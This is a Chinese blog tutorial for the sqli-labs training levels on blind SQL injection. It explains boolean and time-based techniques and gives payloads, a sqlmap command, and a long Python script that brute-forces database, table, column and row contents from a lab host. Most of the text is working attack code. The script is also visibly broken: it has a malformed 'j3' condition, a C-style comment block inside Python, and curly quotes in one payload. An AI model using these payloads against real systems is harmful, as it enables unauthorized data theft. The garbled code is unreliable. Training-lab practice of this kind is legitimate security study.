sqli-labs通关全解---关于盲注脚本的编写--less7-10-4

盲注概念:

盲注不同于联合注入等可以回显数据的注入。在 sql 注入过程中,sql 语句执行完成后,这些数据不能回显到前端页面,这种情况下我们不能通过页面的响应来直接得到我们想要的数据。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注

bool盲注

布尔注入的核心思想是构造逻辑判断语句,利用对错、是否、0和1等具有逻辑性的组合来判断我们想要的数据是否存在或是否正确。

常用函数有left(),mid(),substr(),ord()

left(string, n):string为要截取的字符串,n为长度。

例如:

select left(database(),1)='w';
//猜数据库名字的第一个字母,错误返回0;
+------------------------+
| left(database(),1)='w' |
+------------------------+
|                      0 |
+------------------------+

select left(database(),1)='s';
//猜数据库名字的第一个字母,正确返回1;
+------------------------+
| left(database(),1)='s' |
+------------------------+
|                      1 |
+------------------------+

ord(string):返回字符串的ASCII代码

select ord('s');
//查询字母s的ASCII代码
+----------+
| ord('s') |
+----------+
|      115 |
+----------+

select ord(left(database(),1))=115;
//结合left()函数,查询数据库第一个字母的ASCII代码是否为115
+-----------------------------+
| ord(left(database(),1))=115 |
+-----------------------------+
|                           1 |
+-----------------------------+

mid(string, start,[length]):截取字符串的一部分,start为开始位置,length为截取的长度,可省略。

select mid(database(),1,1)='s';
+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
|                       1 |
+-------------------------+

substr()和mid()函数实现的功能是一样的。另外还有一个substring()函数,也是一样的功能。

跟ord()函数作用一致的还有ascii()函数

上述函数在注入的时候只需要把string改成我们构造的语句就可以了。

select substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),1,1)='s';
+-------------------------------------------------------------------------------------------------------------+
//将substr中string的内容换成我们构造的SQL语句,我们就可以得到我们想要的,像这个语句中,我们就可以知道,当前数据库的第一个表名的第一个字符不为s
| substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),1,1)='s' |
+-------------------------------------------------------------------------------------------------------------+
|                                                                                                           0 |
+-------------------------------------------------------------------------------------------------------------+

时间注入

延时注入常用的函数有sleep()和benchmark(),以及if函数

if语句:

if(expr1,expr2,expr3)//expr1结果为true则执行expr2,否则执行expr3

sleep()函数:以秒为单位,休眠多少秒后执行。报错情况下则不延时。一般配合if语句及其他函数一起使用

1' and sleep(5) %23 //判断注入类型
1' and select if((ord(substr(database(),1,1))=ascii(‘a’)),sleep(5),1)#

benchmark(count,expr)函数:对expr执行count次

select benchmark(5,sleep(1));
+-----------------------+
| benchmark(5,sleep(1)) |
+-----------------------+
|                     0 |
+-----------------------+
1 row in set (5.00 sec)

盲注在注入的时候是比较费时间的,因为只能以猜测的方式去进行注入,因此对于盲注,自动化脚本的编写是必要的技能

以下是脚本代码的示例,之后的练习题可以在此基础之上进行修改:

#!/usr/bin/python3
# coding=utf-8
 
"""
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
 
import requests
 
url = "http://192.168.2.15/sqli-labs/Less-62/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name'                                        #用于判断附加sql语句为真的字符,根据网页回显填写,一般需要对于bool判断具备不同回显的情况之下才行
 
def CurrentDatabase7():
    n = 100                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j3:
            payload1 = "1') and (length(database()))>"+str(j)+"--+"           #所有payload根据实际情况填写,包括对sql注入的闭合方式,判断数据库名的长度
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request,如果是POST提交方式
            /*
              payload1 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "uname":payload1,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)     #GET方法发送含payload的request
如果是时间注入判断
            stime=time.time()
            response = requests.post(url, data = param, headers = headers)
            etime=time.time()
            if etime-stime>=2:

    
*/
            #print(response.request.headers)
            print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1') and length(database())="+str(i)+"--+"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1') and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def Tables7():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j3:
            payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))
 
 
def Columns7(table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j3:
            payload7 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1')) and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload9,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))
 
def Content7(table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j3:
            payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))
if __name__=="__main__":
    CurrentDatabase7()
    #Tables7()
    #Columns7("users")
    #Content7("users",5,2)

对于此代码,使用less 6进行测试,至于其他关卡,操作基本相同,不多赘述

尝试使用sqlmap进行扫描

sqlmap  -u http://192.168.2.15/sqli-labs/Less-7/?id=   --dbs

你可能感兴趣的:(sql-labs,数据库)